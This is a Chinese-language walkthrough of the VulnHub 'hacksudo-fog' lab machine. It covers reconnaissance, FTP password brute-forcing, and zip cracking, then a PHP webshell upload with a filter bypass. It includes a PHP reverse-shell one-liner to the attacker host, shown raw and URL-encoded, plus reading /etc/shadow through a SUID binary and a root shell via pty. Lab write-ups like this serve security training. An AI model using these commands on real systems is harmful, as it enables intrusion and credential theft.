VulnHub-FOG
环境
Kali: 192.168.132.131
靶机:192.168.132.146 靶机地址:https://www.vulnhub.com/entry/hacksudo-fog,697/
一、信息收集
nmap -sP 192.168.132.0/24
nmap -p- -sC -sV 192.168.132.146
gobuster dir -u http://192.168.132.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 400,403,404,500 -t 100 -x .php,.html,.txt,.bak,.zip
二、漏洞探测
http://192.168.132.146/index1.html
查看源代码,发现提示,提供一个脚本用来分离音频中的私密信息(目前不知道干什么用)
#该靶机可能需要暴力破解密码
http://192.168.132.146/dict.txt
http://192.168.132.146/fog/
存在目录遍历漏洞,但是没有文件
http://192.168.132.146/cms/
发现可能是用户名
靶机中开启ftp服务,有用户名尝试利用获得字典文件进行暴力破解,获得密码
medusa -M ftp -h 192.168.132.146 -u hacksudo -P /tmp/dict.txt
登录ftp,下载文件flag1.txt和secr3tSteg.zip文件
获得提示
解压文件,发现有密码,暴力破解zip文件,密码为:fooled
解压文件
unzip secr3tSteg.zip
使用提供的脚本查看隐藏信息
python3 ExWave.py -f /root/hacksudoSTEGNO.wav
根据前两行,可以判断为凯撒密码,进行解密,得到用户fog的密码
三、漏洞验证
在cms界面进行登录
在站点中可以上传一句话木马文件,站点检测上传文件是否危险,修改后缀名,进行绕过,上传之后在修改文件后缀名
也可以找到cmsmsrce.txt,存在一句话木马,修改文件后缀名成php,进行反弹获得shell
http://192.168.132.146/cms/uploads/cmsmsrce.txt
反弹代码
php -r '$sock=fsockopen("192.168.132.131",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
需要将传递内容,进行url编码
http://192.168.132.146/cms/uploads/shell.php?cmd=php%20-r%20'%24sock%3dfsockopen(%22192.168.132.131%22%2c4444)%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b'
开启监听端口,反弹获得shell
四、提权
#查找高权限命令
find / -perm -u=s -type f 2>/dev/null
look '' /etc/shadow
破解isro用户的密码
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
使用isro的密码登录ssh
ssh isro@192.168.132.146
在/home/isro/fog中,找到了一个root用户的可执行文件。
运行fog,获取python shell,检查id,它的权限是root。
使用python的pty库获得root的shell
import pty; pty.spawn("/bin/bash")
获得flag
五、总结
这套靶机难易程度容易,使用nmap扫描靶机,使用gobuster扫描目录,在网站目录index1.html源码中发现提供一个脚本(分离音频中的私密信息),在网站目录dict.txt可能时密码字典,在网站cms目录发现可能是用户名,使用medusa工具使用发现的用户名和密码字典进行暴力破解,登录下载文件,发现flag,zip文件存在密码,使用fcrackzip工具进行破解密码,解压文件,使用提供的脚本查看隐藏信息,根据前两行,可以判断为凯撒密码,进行解密,得到用户fog的密码,在cms界面进行登录,安装插件,上传一句话,获得shell,查找高权限命令,使用高权限命令look查看/etc/shadow,破解isro用户密码,在/home/isro/fog中,找到了一个root用户的可执行文件,为root权限的python解释器,使用python的pty库获得root的shell。